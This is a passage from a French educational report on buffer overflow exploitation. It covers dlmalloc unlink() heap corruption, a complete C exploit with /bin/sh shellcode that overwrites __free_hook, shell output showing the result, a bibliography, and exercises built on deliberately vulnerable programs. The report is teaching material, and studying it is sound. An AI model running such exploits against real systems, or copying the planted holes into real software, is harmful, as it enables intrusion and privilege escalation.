  3519. Ainsi en passant 680 (668+3*4) bytes dans le buffer first, on arrive à écraser les
  3520. champs size, fd et bk du boudary tag du du chunk associé au buffer second. On peut
  3521. alors utiliser la technique unlink() pour écraser un integer en mémoire. Cependant
  3522. comment amener dlmalloc à unlink() le chunk de second qui a été corrompu alors que
  3523. ce chunk est toujours considéré comme alloué ?
  3524. Quand le premier la fonction free() est appelé sur le buffer first à la ligne 11 de notre
  3525. programme pour libérer ce premier chunk, l’algorithme de free() unlinkerait le chunk
  3526. de second si celui-ci était libre (c’est-à-dire si le bit PREV_INUSE du prochain chunk
  3527. était nul).Ce bit n’est pas nul, parce que le chunk associé au buffer seconde est alloué
  3528. mais nous pouvons induire en erreur dlmalloc en le faisant lire un faux bit
  3529. PREV_INUSE car nous contrôlons le champ size de chunk de second.
  3530. Par exemple, si nous modifions le champ size du chunk de second par la valeur –4
  3531. (0xfffffffc), dlmalloc pensera que le prochain chunk contigu sera en fait 4 bytes avant
  3532. le début du chunk de second et lira ainsi le champ prev_size du second chunk au lieu
  3533. du champ size du prochain chunk contigu. Ainsi donc, en plaçant un entier pair (c’est-
  3534. à-dire avec le bit PREV_INUSE à 0) dans le champ prev_size, dlmalloc voudra
  3535. utiliser unlik() contre le second chunk et nos valeur mises dans FD et BK seront
  3536. utilisées dans les deux dernières lignes de la macro unlink() pour écrire la valeur de
  3537. notre choix (BK) à l’adresse voulue (FD+12).
  3538. 10.7.5 L’Exploit et les malloc hooks
  3539. Voici l’exploit du programme :
  3540. 1 #include <string.h>
  3541. 2 #include <unistd.h>
  3542. 85/92
  3543. 3
  3544. 4 #define FREEHOOK ( 0x4012f120 )
  3545. 5 #define SHELLCODE_ADDR ( 0x08049628 + 2*4 )
  3546. 6
  3547. 7 #define VULN "./vuln15"
  3548. 8 #define DUMMY 0x41414141
  3549. 9 #define PREV_INUSE 0x1
  3550. 10
  3551. 11 char shellcode[] =
  3552. 12 /* instruction jump*/
  3553. 13 "\xeb\x0appssssffff"
  3554. 14 /* lsd-pl shellcode */
  3555. 15 "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
  3556. 16 "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  3557. 17
  3558. 18 int main( void )
  3559. 19 {
  3560. 20 char * p;
  3561. 21 char argv1[ 680 + 1 ];
  3562. 22 char * argv[] = { VULN, argv1, NULL };
  3563. 23
  3564. 24 p = argv1;
  3565. 25 /* champ fd du premier chunk */
  3566. 26 *( (void **)p ) = (void *)( DUMMY );
  3567. 27 p += 4;
  3568. 28 /* champ bk du premier chunk */
  3569. 29 *( (void **)p ) = (void *)( DUMMY );
  3570. 30 p += 4;
  3571. 31 /* notre shellcode */
  3572. 32 memcpy( p, shellcode, strlen(shellcode) );
  3573. 33 p += strlen( shellcode );
  3574. 34 /* padding */
  3575. 35 memset( p, 'B', (680 - 4*4) - (2*4 +
  3576. strlen(shellcode)) );
  3577. 36 p += ( 680 - 4*4 ) - ( 2*4 + strlen(shellcode) );
  3578. 37 /* le champ prev_size du second chunk */
  3579. 38 *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
  3580. 39 p += 4;
  3581. 40 /* le champ size du second chunk */
  3582. 41 *( (size_t *)p ) = (size_t)( -4 );
  3583. 42 p += 4;
  3584. 43 /* le champ fd du second chunk */
  3585. 44 *( (void **)p ) = (void *)( FREEHOOK - 12 );
  3586. 45 p += 4;
  3587. 46 /* le champ bk du second chunk */
  3588. 47 *( (void **)p ) = (void *)( SHELLCODE_ADDR );
  3589. 48 p += 4;
  3590. 49 *p = '\0';
  3591. 50
  3592. 51 execve( argv[0], argv, NULL );
  3593. 52 }
  3594. Notre exploit construit le payload qui est décrit dans la section précédente, le
  3595. shellcode n’est pas mis directement au début du buffer mais 8 bytes plus loin car
  3596. l’algorithme de free() va écraser les champs fd et bk du premiers chunks. Le shellcode
  3597. est ensuite copié. On ajouté un instruction de saut de 10 bytes au début du shellcode
  3598. (ligne 13) car comme on l’a dis dans la section précédente un entier situé à BK+8 est
  3599. 86/92
  3600. écrasé. Enfin, après des valeurs de padding, on met à jour les champs prev_size, size,
  3601. fd et bk du second chunk avec les valeurs indiquées plus haut.
  3602. Il nous reste encore à déterminer les valeurs de fd et bk du second chunk, c’est-à-dire
  3603. quel entier sera écrit où en mémoire. Pour ces valeurs, plusieurs solutions vues
  3604. précédemment (%eip sauvegardé sur la pile, dtors, atexit ou GOT) s’offraient à nous.
  3605. Nous avons choisi d’en introduire une nouvelle pour cet exemple. Il s’agit des malloc
  3606. hooks. Des hooks pour malloc sont présents en mémoire dans la glibc pour des
  3607. opérations de debug de la mémoire ou pour certains outils d’inspection. Il y a
  3608. plusieurs hooks mais les plus importants sont les hooks __malloc_hook,
  3609. __realloc_hook et __free_hook. Ces hooks sont des pointeurs par défaut mis à
  3610. NULL, mais si leur valeur pointe sur du code, dès que la fonction corespondante
  3611. (malloc(), realloc() ou free()) est appelé, le code pointé est alors exécuté. Ces hooks
  3612. sont toujours effectifs lorsqu’une fonction de dlmalloc est utilisé par le programme.
  3613. Dans notre exemple, le premier free() (ligne 11) du programme vulnérable est fatal
  3614. car c’est lui qui cause l’écriture de notre integer en mémoire. Ce free() est
  3615. inmédiatement suivi (ligne 12) par le free() du deuxième buffer. Ainsi en modifiant,
  3616. un __free_hook, notre shellcode sera exécuté dès l’appel du deuxième free().
  3617. On a dit que ces hooks se trouvaient en glibc, voilà donc l’adresse du __free_hook :
  3618. ouah@weed:~/heap2$ ldd vuln15
  3619. libc.so.6 => /lib/libc.so.6 (0x40025000)
  3620. /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
  3621. ouah@weed:~/heap2$ nm /lib/libc.so.6 | grep __free_hook
  3622. 000000000010a120 V __free_hook
  3623. ouah@weed:~/heap2$ perl -e 'printf ("0x%08x\n",0x40025000+0x10a120)'
  3624. 0x4012f120
  3625. L’adresse du __free_hook est donc 0x4012f120.
  3626. Maintenant pour trouver, l’adresse du shellcode (adresse du buffer +8), il nous faut
  3627. trouver l’adresse du buffer. L’adresse du buffer est obtenu via l’appel malloc(), nous
  3628. pouvons donc utiliser le programme ltrace pour trouver cette adresse.
  3629. ouah@weed:~/heap2$ ltrace ./vuln15 AAAA 2>&1 | grep 666
  3630. malloc(666) = 0x08049628
  3631. L ‘adresse 0x08049628 est donc celle du début de notre buffer en mémoire. Fixons
  3632. maintenant l’exploit avec ces adresses de __free_hook et du buffer.
  3633. ouah@weed:~/heap2$ ./ex17
  3634. sh-2.05$
  3635. Le shellcode a donc été exécuté.
  3636. Nous avons montré ici la technique qui se base sur la macro unlink(), il existe aussi
  3637. une technique (encore plus complexe) basé sur la macro frontlink() pour arriver au
  3638. même résultat.
  3639. 87/92
  3640. Cette technique mise à jour, plusieurs heap overflow qu’on croyait inexploitables ont
  3641. pu être exploités avec succès. C’est cette technique qui est aussi utilisée pour
  3642. exploiter la faille de « double free » de la zlib (une librairie de compression utilisé par
  3643. un très grand nombre de programme). En envoyant, un certain stream invalide de
  3644. données compressées à la zlib, cela amenait la zlib à vouloir libérer un espace
  3645. mémoire deux fois. De même, l’exploit 7350wurm de Teso, utilise cette technique
  3646. pour exploiter la faille glob de wu-ftpd 2.6.1.
  3647. 88/92
  3648. 11. Conclusion
  3649. “Security is a process, not a
  3650. product”, Bruce Schneier
  3651. Nous avons essayé tout au long de rapport de donner une vue approfondie et détaillée
  3652. des buffer overflow et de leur exploitation. On remarque que le domaine est plus large
  3653. qu’il n’y paraît. Il est surtout inquiétant d’un point de vue de la sécurité en générale et
  3654. pour notre sécurité aussi, nous qui vivons dans un monde entouré d’informatique. On
  3655. répète souvent que le langage C n’est pas responsable des problèmes de sécurité liés
  3656. aux buffer overflows mais que la faute incombe au programmeurs informés ou peu à
  3657. l’aise. Le constat est quand même amer, car tous les programmes serveurs les plus
  3658. importants ont été et continuent d’être victime de buffer overflows. Dans la semaine,
  3659. où cette conclusion est écrite, deux importants buffer overflows ont été découvert
  3660. dans les serveurs Apache et OpenSSH. Apache est utilisé selon les statistiques (Mai
  3661. 2002) de netcraft.com sur 64% des serveurs web du monde, tandis qu’OpenSSH est
  3662. un des seuls services ouverts dans l’installation par défaut d’OpenBSD, le système
  3663. d’exploitation considéré comme le plus sécurisé. Pourtant la majorité des langages de
  3664. haut-niveau sont immunisés contre ce genre de problème. Certains redimensionnent
  3665. automatiquement les tableaux (comme Perl) ou détectent et préviennent les buffer
  3666. overflows (comme Ada95). Les buffer overflows ont toutefois encore de beaux jours
  3667. devant eux. Certains programmes codés dans ces langages peuvent avoir ces
  3668. protections désactivées (exemple Ada ou Pascal) pour des raisons de performances.
  3669. De plus, même dans ces langages de haut niveaux beaucoup de fonctions des libraries
  3670. ont été codée en C ou C++.
  3671. Les habitudes ont quand même tendance à changer et ainsi, certaines erreurs
  3672. classiques qui amènent à des overflows sont faites de moins en moins souvent. Les
  3673. buffer overflows deviennent plus discrets et leur exploitation plus ardue. Les pages
  3674. non-exécutables deviennent un standart dans les nouveaux microprocesseurs.
  3675. L ‘écriture d’exploits dans le monde de la sécurité est encore quelque chose de peu
  3676. professionnalisé et il manque des méthodes pour augmenter drastiquement la
  3677. portabilité de certains exploits. Les exploits de type « proofs of concept » doivent
  3678. souvent être encore beaucoup retravaillés par les professionnels des test d’intrusion
  3679. quand il s’agit de changer de plate-forme vulnérable de celle pour laquelle l’exploit a
  3680. été conçu. A l’avenir, des connaissances et des techniques de reverse-ingeneering
  3681. seront de plus en plus demandées pour découvrir et exploiter des programmes non
  3682. open-sources.
  3683. En paraphrasant solar designer (à qui nous devons les techniques d’exploitations les
  3684. plus subtiles présentées dans ce rapport), nous espérons dans ce rapport avoir pu
  3685. montré que l’exploitation de buffer overflow est un art.
  3686. 89/92
  3687. 12. Bibliographie
  3688. [1] Smashing The Stack For Fun And Profit, Alpeh One
  3689. [2] How to write Buffer Overflows, mudge / L0pht
  3690. [3] Advanced buffer overflow exploit,Taeho Oh
  3691. [4] UNIX Assembly Code Development for Vulnerabilities Illustration Purposes, lsd-
  3692. pl
  3693. [5] Stack Smashing Vulnerabilities,Nathan P. Smith
  3694. [6] w00w00 on Heap Overflows, Matt Conover
  3695. [7] LBL traceroute exploit, Dvorak
  3696. [8] Quick Analysiss of the recent crc32 ssh(d), Paul Starzetz
  3697. [9] The poisoned NUL byte, Olaf Kirch
  3698. [10] Vudo malloc tricks,Maxx
  3699. [11] atexit in memory bugs,Pascal Bouachareine
  3700. [12] HP-UX (PA-RISC 1.1) Overflows,Zhodiac
  3701. [13] The Art of Writing Shellcode, Smiler
  3702. [14] The Frame Pointer Overwrite, Klog
  3703. [15] Taking advantage of non-termniated adjacent memory spaces, Twitch
  3704. [16] PaX Project,PaX Team
  3705. [17] Getting around non-executable stack (and fix), Solar Designer
  3706. [18] The advanced return-into-lib(c) exploits: PaX case study, Nergal
  3707. [19] Defeating Solar Designer non-executable stack patch, Nergal
  3708. [20] Defeating Solaris/SPARC Non-Executable Stack Protection, Horizon
  3709. [21] Bypassing Stackguard and Stackshield, Bulba et Kil3r
  3710. [22] Four different tricks to bypass StackShield and StackGuard protection, gera
  3711. [23] Overwriting the .dtors section,Juan M. Bello Rivas
  3712. [24] Buffer overflow exploit in the alpha linux,Taeho Oh
  3713. [25] Single-byte buffer overflow vulnerability in ftpd, OpenBSD Security Advisory
  3714. [26] BindView advisory: sshd remote root (bug in deattack.c), Michal Zalewski
  3715. [27] Local Off By One Overflow in CVSd, David Evlis Reign
  3716. [28] another buffer overrun in sperl5.003, Pavel Kankvosky
  3717. [29] Superprobe exploit linux, Solar Designer
  3718. [30] Eviter les failles de sécurité dès le développement d'une application - 2, C.
  3719. Blaess, C. Grenier et F. Raynal
  3720. [31] Memory Layout in Program Execution, Frederik Giasson
  3721. [32] The EMERGENCY: new remote root exploit in UW imapd, Cheez Whiz
  3722. [33] Computer Emergency Response Team (CERT), http://www.cert.org
  3723. [34] A Tour of the Worm, Donn Seeley
  3724. [35] The Internet Worm Program: An Analysis, Eugene H. Spafford
  3725. [36] Shellcodes de bighawk, http://kryptology.org/shellcode/
  3726. [37] Bugtraq, http://www.securityfocus.com
  3727. [38] Executable and linking Format (ELF), Tool Interface Standart
  3728. 90/92
  3729. Exercices sur les buffer overflows :
  3730. 1. Soit le programme vuln1.c avec un buffer de taille 1023, écrire un exploit pour ce
  3731. programme.
  3732. 2. Soit le programme vulnérable vuln1.c. On remplace la fonction strcpy() par la
  3733. fonction gets(). Ecrivez l’exploit pour ce nouveau programme vulnérable.
  3734. 3. Exploitez le programme vulnérable suivant en utilisant uniquement les programmes
  3735. objdump, print et perl –e.
  3736. #include <stdio.h>
  3737. main (int argc, char *argv[])
  3738. {
  3739. char buffer[16];
  3740. if (argc > 1)
  3741. strcpy(buffer,argv[1]);
  3742. }
  3743. void foo(){
  3744. system("/bin/sh");
  3745. }
  3746. 4. Ecrivez un exploit pour le programme vuln1.c en sachant que le seul shell
  3747. disponible est bash2, que le programme est suid et son uid est différente de la votre
  3748. mais qu’il n’appartient pas à root.
  3749. 5. On aimerait exploiter le programme vuln2.c à l’aide d’un shellcode dans une
  3750. varibable environnement mais sans utiliser les fonctions execle()/execve(). De plus, le
  3751. programme ne peut pas être tracé ! (Indication, placer le shellcode avec la fonction
  3752. putenv() ou avec ENV=).
  3753. 6. Exploiter le programme vuln2.c sans utiliser de variable d’environnement mais en
  3754. retournant directement sur argv[1]. (Indication : vous pouvez vous servir de gdb pour
  3755. déterminer son adresse).
  3756. 7. On veut exploiter un programme vulnérable à un stack overflow, dont l’exploit
  3757. place un shellcode dans le buffer vulnérable puis saute dans le shellcode. On teste
  3758. d’abord l’exploit en console, puis dans un terminale dans un environnement avec X.
  3759. On remarque que l’adresse de retour n’est pas la même dans les deux cas. Comment
  3760. expliquez-vous cela?
  3761. 8. Ecrivez un exploit pour le programme vulnérable suivant :
  3762. #include <stdio.h>
  3763. func(char *sm)
  3764. {
  3765. char buffer[256];
  3766. int i;
  3767. for(i=0;i<=256;i++)
  3768. buffer[i]=sm[i];
  3769. 91/92
  3770. }
  3771. main(int argc, char *argv[])
  3772. {
  3773. if (argc < 2) {
  3774. printf("missing args\n");
  3775. exit(-1);
  3776. }
  3777. func(argv[1]);
  3778. }
  3779. 9. Donner un exemple d’un programme où l’utilisation du fonction libc est
  3780. responsable à la fois d’un buffer overflow et d’un format bug.
  3781. 10. Au chapitre sur les ret-into-libc chaîné, on exécute le code suivant :
  3782. gets(a) ;
  3783. system(a) ;
  3784. exit(0) ;
  3785. On aimerait pouvoir exécuter plusieurs commande à la suite avec la construction suivante :
  3786. while(1) {
  3787. gets(a) ;
  3788. system(a) ;
  3789. }
  3790. Un tel code avec un return-into-libc est-il possible?
  3791. 11. Dans un return-into-libc, on aimerait faire un setuid(geteuid()). Cette construction
  3792. est-elle possible ? Quelles conditions devraient être présentes pour exécuter une
  3793. construction de ce genre ?
  3794. 12. On aimerait maintenant faire un setuid(0) ; (suivi d’autres fonctions) en return-
  3795. into-libc. Comment procéder ?
  3796. 13. Soit un kernel avec PaX où la libc est randomisée, mais pas la stack. On cherche à
  3797. exploiter le programme en exécutant system(/bin/sh) via un ret-into-libc en brute-
  3798. forçant l’adresse libc de system(). Combien de temps est-il nécessaire pour exploiter
  3799. le programme ?(Ecrire un programme et tester).
  3800. 14. .Ecrivez un exploit pour le programme vulnérable suivant :
  3801. 1 #include <stdio.h>
  3802. 2
  3803. 3
  3804. 4 main (int argc, char *argv[])
  3805. 5 {
  3806. 6 static char buffer[16] = “Hello, world!”;
  3807. 7
  3808. 8 if (argc > 1)
  3809. 9 strcpy(buffer,argv[1]);
  3810. 10 }
  3811. 92/92
  3812. 15. Si le programme vulnérable de malloc chunk corruption utilisait la fonction gets()
  3813. au lieu de strcpy() de quoi faudrait-il tenir compte en plus pour notre exploit ?
  3814. 16. Exploiter le programme de malloc corruption en écrasant la GOT d’une fonction
  3815. au lieu des mallocs hooks.
Add Comment
Please, Sign In to add comment